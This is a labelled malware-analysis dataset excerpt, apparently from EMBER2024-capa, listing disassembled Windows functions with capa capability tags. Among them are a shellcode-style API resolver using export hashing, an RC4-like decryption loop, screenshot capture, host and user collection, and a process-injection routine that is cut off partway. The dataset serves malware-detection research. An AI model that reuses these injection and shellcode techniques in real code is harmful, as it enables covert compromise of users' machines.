joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
push rcx
xor rdx, rdx
push rsi
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
xor r9, r9
movzx rcx, word [rdx + 0x4a]
mov rsi, qword [rdx + 0x50]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov r8d, dword [rax + 0x20]
mov ecx, dword [rax + 0x18]
push rax
add r8, rdx
jrcxz 0x1400040ca
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor r9, r9
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
pop r8
add rax, rdx
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021

Function at 0x140004225
Capabilities:
Encode data using xor

Disassembly:
pop rsi
xor rax, rax
mov r8, rdi
stosb byte [rdi], al
inc al
jne 0x14000422c
xor rbx, rbx
add bl, byte [r8 + rax]
mov rdx, rax
and dl, 0xf
add bl, byte [rsi + rdx]
mov dl, byte [r8 + rax]
xchg byte [r8 + rbx], dl
mov byte [r8 + rax], dl
inc al
jne 0x140004234
xor rbx, rbx
inc al
add bl, byte [r8 + rax]
mov dl, byte [r8 + rax]
xchg byte [r8 + rbx], dl
mov byte [r8 + rax], dl
add dl, byte [r8 + rbx]
mov dl, byte [r8 + rdx]
xor byte [r9], dl
inc r9
dec rcx
jne 0x140004254
pop rdi
jmp r15
Function at 0x1400adb18
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x40
movsxd rdi, r9d
lea rax, [r11 - 0x10]
mov r9, rdi
mov qword [r11 - 0x28], rax
mov rbp, r8
mov rbx, rdx
mov rsi, rcx
call fcn.1400ac5bc
mov r9, qword [rsp + 0x38]
mov dword [rsp + 0x30], r9d
test al, al
je 0x1400adb5b
mov eax, r9d
jmp 0x1400adbb9
mov rdx, rbx
mov rcx, rsi
call fcn.1400ae3f8
mov dword [rsp + 0x68], 4
mov rsi, rax
test rax, rax
je 0x1400adbb7
lea rax, [rsp + 0x68]
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x34]
lea rax, [rsp + 0x30]
mov rdx, rbp
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x1400adbb7
cmp dword [rsp + 0x68], ebx
je 0x1400adbb7
mov edi, dword [rsp + 0x30]
mov eax, edi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x1400adbd0
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x850
mov rax, qword [0x14016a900]
xor rax, rsp
mov qword [rsp + 0x840], rax
mov r15d, dword [rsp + 0x8b8]
mov rsi, r9
mov rbp, qword [rsp + 0x8b0]
lea r9, [rsp + 0x40]
mov edi, r15d
mov qword [rsp + 0x20], 0x400
mov r12, r8
mov r14, rdx
mov rbx, rcx
call fcn.1400ac9f8
test al, al
jne 0x1400adcce
mov r8d, r15d
mov rcx, rsi
test rbp, rbp
je 0x1400adc43
mov rdx, rbp
call fcn.140106ff0
jmp 0x1400adc4a
xor edx, edx
call fcn.140108940
cmp byte [0x1401684b9], 0
sete al
test al, al
jne 0x1400add0a
mov rdx, r14
mov rcx, rbx
call fcn.1400ae3f8
mov dword [rsp + 0x30], r15d
mov r14, rax
test rax, rax
je 0x1400adcae
lea rax, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x34]
mov rdx, r12
mov qword [rsp + 0x20], rsi
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, r14
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x1400adcae
mov eax, dword [rsp + 0x30]
test eax, eax
jne 0x1400add0c
mov r8, r15
mov rcx, rsi
test rbp, rbp
je 0x1400adcc3
mov rdx, rbp
call fcn.140106ff0
jmp 0x1400adcca
xor edx, edx
call fcn.140108940
xor eax, eax
jmp 0x1400add0c
lea rcx, [rsp + 0x40]
call fcn.1400ac648
mov r8, r15
test rax, rax
jne 0x1400adcfd
mov rcx, rsi
test rbp, rbp
je 0x1400adcf2
mov rdx, rbp
call fcn.140106ff0
jmp 0x1400adcf9
xor edx, edx
call fcn.140108940
xor edi, edi
jmp 0x1400add0a
mov rdx, rsi
mov rcx, rax
call fcn.14009c788
mov edi, eax
mov eax, edi
mov rcx, qword [rsp + 0x840]
xor rcx, rsp
call fcn.140105c50
add rsp, 0x850
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x1400add30
Capabilities:
Query or enumerate registry value

Disassembly:
mov r9d, r8d
mov r8, rdx
mov rdx, rcx
mov rcx, 0xffffffff80000001
jmp fcn.1400adb18
Function at 0x1400ae6a8
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x20], r9
push rdi
sub rsp, 0x40
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
call fcn.1400acce4
test al, al
je 0x1400ae6d2
xor eax, eax
jmp 0x1400ae724
lea r8, [rsp + 0x30]
mov rdx, rbx
mov rcx, rdi
call fcn.1400ad208
mov rdi, rax
test rax, rax
je 0x1400ae71e
lea rax, [rsp + 0x68]
mov dword [rsp + 0x28], 8
mov r9d, 0xb
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400ae722
mov ebx, dword [rsp + 0x30]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov r9, r8
mov r8, rdx
mov rdx, rcx
mov rcx, 0xffffffff80000001
jmp 0x1400ae6a8

Function at 0x1400ae74c
Capabilities:
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov rbx, r9
mov rbp, r8
mov rdi, rdx
mov rsi, rcx
call fcn.1400acbb4
xor r14d, r14d
test al, al
je 0x1400ae781
xor eax, eax
jmp 0x1400ae7df
lea r8, [rsp + 0x30]
mov rdx, rdi
mov rcx, rsi
call fcn.1400ad208
mov rdi, rax
test rax, rax
je 0x1400ae7d9
or rcx, 0xffffffffffffffff
inc rcx
cmp word [rbx + rcx*2], r14w
jne 0x1400ae79d
lea eax, [rcx*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
xor r8d, r8d
mov rdx, rbp
mov qword [rsp + 0x20], rbx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400ae7dd
mov ebx, dword [rsp + 0x30]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1400ae7fc
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x20], r9d
push rdi
sub rsp, 0x40
mov r9d, r9d
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
call fcn.1400acce4
test al, al
je 0x1400ae829
xor eax, eax
jmp 0x1400ae878
lea r8, [rsp + 0x30]
mov rdx, rbx
mov rcx, rdi
call fcn.1400ad208
mov rdi, rax
test rax, rax
je 0x1400ae872
mov r9d, 4
lea rax, [rsp + 0x68]
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov rdx, rsi
mov qword [rsp + 0x20], rax
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400ae876
mov ebx, dword [rsp + 0x30]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov r9d, r8d
mov r8, rdx
mov rdx, rcx
mov rcx, 0xffffffff80000001
jmp 0x1400ae7fc
Function at 0x1400ae888
Capabilities:
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov r14, qword [rsp + 0x70]
mov rsi, r9
mov qword [rax - 0x28], r14
mov rbp, r8
mov rbx, rdx
mov rdi, rcx
call fcn.1400acc24
test al, al
je 0x1400ae8c3
xor eax, eax
jmp 0x1400ae90d
lea r8, [rsp + 0x30]
mov rdx, rbx
mov rcx, rdi
call fcn.1400ad208
mov rdi, rax
test rax, rax
je 0x1400ae907
mov dword [rsp + 0x28], r14d
mov r9d, 3
xor r8d, r8d
mov qword [rsp + 0x20], rsi
mov rdx, rbp
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400ae90b
mov ebx, dword [rsp + 0x30]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1400ae928
Capabilities:
Set registry value

Disassembly:
mov r9, r8
mov r8, rdx
mov rdx, rcx
mov rcx, 0xffffffff80000001
jmp fcn.1400ae74c

Function at 0x1400ae940
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x20], r9d
push rdi
sub rsp, 0x40
mov r9d, r9d
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
call fcn.1400acce4
test al, al
je 0x1400ae829
xor eax, eax
jmp 0x1400ae878
lea r8, [rsp + 0x30]
mov rdx, rbx
mov rcx, rdi
call fcn.1400ad208
mov rdi, rax
test rax, rax
je 0x1400ae872
mov r9d, 4
lea rax, [rsp + 0x68]
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov rdx, rsi
mov qword [rsp + 0x20], rax
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x1400ae876
mov ebx, dword [rsp + 0x30]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov r9d, r8d
mov r8, rdx
mov rdx, rcx
mov rcx, 0xffffffff80000001
jmp 0x1400ae7fc
Function at 0x1400d5dd0
Capabilities:
Capture screenshot

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x80
mov rbx, rcx
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
mov r12, rax
call qword [sym.imp.USER32.dll_GetDC]
mov rcx, rax
mov r15, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov rcx, r15
mov r14, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
lea r8, [rsp + 0x60]
mov edx, 0x20
mov rcx, rbx
mov rbp, rax
call qword [sym.imp.GDI32.dll_GetObjectW]
mov r8d, dword [rsp + 0x68]
mov rcx, r15
mov edx, dword [rsp + 0x64]
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rdx, rbx
mov rcx, r14
mov rsi, rax
call qword [sym.imp.GDI32.dll_SelectObject]
mov rdx, rsi
mov rcx, rbp
mov rdi, rax
call qword [sym.imp.GDI32.dll_SelectObject]
mov edx, dword [rsp + 0x68]
mov rbx, rax
mov r9d, dword [rsp + 0x64]
mov ecx, r9d
mov dword [rsp + 0x50], 0xcc0020
neg ecx
mov dword [rsp + 0x48], edx
mov dword [rsp + 0x40], ecx
mov rcx, rbp
and dword [rsp + 0x38], 0
lea r8d, [r9 - 1]
mov dword [rsp + 0x30], r8d
xor r8d, r8d
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], edx
xor edx, edx
call qword [sym.imp.GDI32.dll_StretchBlt]
mov eax, dword [rsp + 0x68]
xor r8d, r8d
mov r9d, dword [rsp + 0x64]
xor edx, edx
mov dword [rsp + 0x40], 0xcc0020
mov rcx, r14
and dword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rbp
mov dword [rsp + 0x20], eax
call qword [sym.imp.GDI32.dll_BitBlt]
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.GDI32.dll_SelectObject]
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.GDI32.dll_SelectObject]
mov rcx, rsi
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, r14
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rcx, rbp
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rdx, r15
mov rcx, r12
call qword [sym.imp.USER32.dll_ReleaseDC]
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret

Function at 0x1400d6b60
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x28
mov rax, rdx
mov rdx, rcx
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
test eax, eax
setne al
add rsp, 0x28
ret
Function at 0x1401181e8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140117fd8

Function at 0x14011cbdc
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.140113e78
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.140113e78
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14011cd2c
cmp rax, 0xffffffffffffffff
je 0x14011cd2c
xor edi, edi
test rbp, rbp
jle 0x14011ccd7
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14011be40
mov rbx, rax
test rax, rax
jne 0x14011cc64
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14011cccd
mov edx, 0x8000
mov ecx, r14d
call fcn.140116704
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14011530c
cmp eax, 0xffffffff
je 0x14011ccad
cdqe
sub rbp, rax
test rbp, rbp
jg 0x14011cc74
mov edx, r15d
mov ecx, r14d
call fcn.140116704
jmp 0x14011cccd
cmp byte [rsi + 0x38], dil
je 0x14011ccc4
cmp dword [rsi + 0x34], 5
jne 0x14011ccc4
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x14011cccd
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1401195b4
jmp 0x14011cd40
jns 0x14011cd40
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.140113e78
cmp rax, 0xffffffffffffffff
jne 0x14011ccf8
cmp byte [rsi + 0x30], dil
je 0x14011cd40
mov edi, dword [rsi + 0x2c]
jmp 0x14011cd40
mov ecx, r14d
call fcn.14011cacc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x14011cd40
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x14011cd40
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x14011cd39
mov eax, dword [rsi + 0x2c]
jmp 0x14011cd3e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.140113e78
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x14011f828
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14011f858
xor eax, eax
jmp 0x14011f91b
mov rbp, rbx
cmp word [rax], si
je 0x14011f87d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14011f864
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14011f860
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14011cdd0
movsxd r14, eax
test eax, eax
jne 0x14011f8bb
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14011f851
mov rcx, r14
call fcn.1401195f0
mov rdi, rax
test rax, rax
jne 0x14011f8d4
xor ecx, ecx
call fcn.1401195b4
jmp 0x14011f8b0
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14011cdd0
test eax, eax
jne 0x14011f905
mov rcx, rdi
call fcn.1401195b4
jmp 0x14011f90f
xor ecx, ecx
call fcn.1401195b4
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140122ed8
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140111c18
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140122f62
cmp byte [rbp - 0x21], r15b
je 0x140122f5d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140122f98
call fcn.14011c128
test eax, eax
jne 0x140122f84
cmp byte [rbp - 0x21], r15b
je 0x140122f7c
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140122f98
cmp byte [rbp - 0x21], r15b
je 0x140122f95
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140112cf8
test eax, eax
jne 0x140123038
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140111c18
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140122fd7
cmp byte [rbp - 0x21], r15b
je 0x14012300c
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14012300c
call fcn.14011c128
test eax, eax
jne 0x140122ff8
cmp byte [rbp - 0x21], r15b
je 0x140122ff1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14012300c
cmp byte [rbp - 0x21], r15b
je 0x140123009
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140112cf8
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140123038
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14012303b
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140123049
mov rcx, rdi
call fcn.1401195b4
cmp byte [rbp + 0x3f], r15b
je 0x140123058
mov rcx, qword [rbp + 0x27]
call fcn.1401195b4
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x140124770
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140124798
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140124798
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400015b0
Capabilities:
Get hostname
Get session user name

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x60
mov rax, qword [0x1402bf7c0]
xor rax, rsp
mov qword [rsp + 0x58], rax
movzx ebp, dl
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor eax, eax
mov dword [rsp + 0x20], eax
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], rax
xor r8d, r8d
lea rdx, [0x14027c628]
call fcn.140007f00
mov dword [rsp + 0x20], 1
mov dword [rsp + 0x30], reloc.WS2_32.dll_recv
mov dword [rsp + 0x34], reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x1400016ef
lea rax, [rsp + 0x38]
mov rbx, 0xffffffffffffffff
mov rsi, rbx
nop
inc rsi
cmp byte [rax + rsi], 0
jne 0x140001640
mov rax, qword [rdi + 0x18]
cmp rsi, rax
ja 0x140001679
mov r14, rdi
cmp rax, 0xf
jbe 0x14000165e
mov r14, qword [rdi]
mov qword [rdi + 0x10], rsi
mov r8, rsi
lea rdx, [rsp + 0x38]
mov rcx, r14
call sub.VCRUNTIME140.dll_memmove
mov byte [r14 + rsi], 0
jmp 0x140001689
lea r9, [rsp + 0x38]
mov rdx, rsi
mov rcx, rdi
call fcn.140008000
test bpl, bpl
je 0x1400016ef
lea rdx, [rsp + 0x34]
lea rcx, [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x1400016ef
lea rax, [rsp + 0x48]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400016a7
mov rax, qword [rdi + 0x18]
cmp rbx, rax
ja 0x1400016df
mov rsi, rdi
cmp rax, 0xf
jbe 0x1400016c5
mov rsi, qword [rdi]
mov qword [rdi + 0x10], rbx
mov r8, rbx
lea rdx, [rsp + 0x48]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
mov byte [rsi + rbx], 0
jmp 0x1400016ef
lea r9, [rsp + 0x48]
mov rdx, rbx
mov rcx, rdi
call fcn.140008000
mov rax, rdi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1401da8c0
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x140003100
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x490
mov rax, qword [0x1402bf7c0]
xor rax, rsp
mov qword [rsp + 0x480], rax
mov rsi, rcx
xor edi, edi
xor edx, edx
lea ecx, [rdi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000320d
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000320d
cmp dword [rsp + 0x38], edi
jne 0x140003180
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
nop dword [rax]
nop word [rax + rax]
lea rax, [rsp + 0x270]
mov dword [rsp + 0x28], 0x104
mov r9d, 0xffffffff
mov qword [rsp + 0x20], rax
mov r8, rsi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rax, [rsp + 0x5c]
lea r8, [rsp + 0x270]
sub r8, rax
nop dword [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1400031d4
add rax, 2
test ecx, ecx
jne 0x1400031c0
test edx, edx
je 0x1400031ec
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140003180
jmp 0x14000320d
mov edi, dword [rsp + 0x38]
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8d, edi
lea rdx, str.Process_:_Taskmgr.exe_n
mov rcx, rax
call fcn.140001220
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.1401da8c0
lea r11, [rsp + 0x490]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140003240
Capabilities:
Create thread
Inject thread
Terminate process

Disassembly:
push rdi
sub rsp, 0x40
cmp byte [0x1402c5ecb], 0
mov rdi, rdx
jne 0x14000325e
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r8d, ecx
mov qword [rsp + 0x50], rbx
mov ecx, 0x1fffff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140003289
lea eax, [rbx - 1]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
xor edx, edx
mov qword [rsp + 0x58], rsi
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov r8d, 0x104
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
mov r9, 0xffffffffffffffff
nop word [rax + rax]
inc r9
cmp byte [rdi + r9], 0
jne 0x1400032c0
inc r9
mov qword [rsp + 0x20], 0
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000333f
mov edx, 0x1f4
lea ecx, [rdx + 0x17]
call qword [sym.imp.KERNEL32.dll_Beep]
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
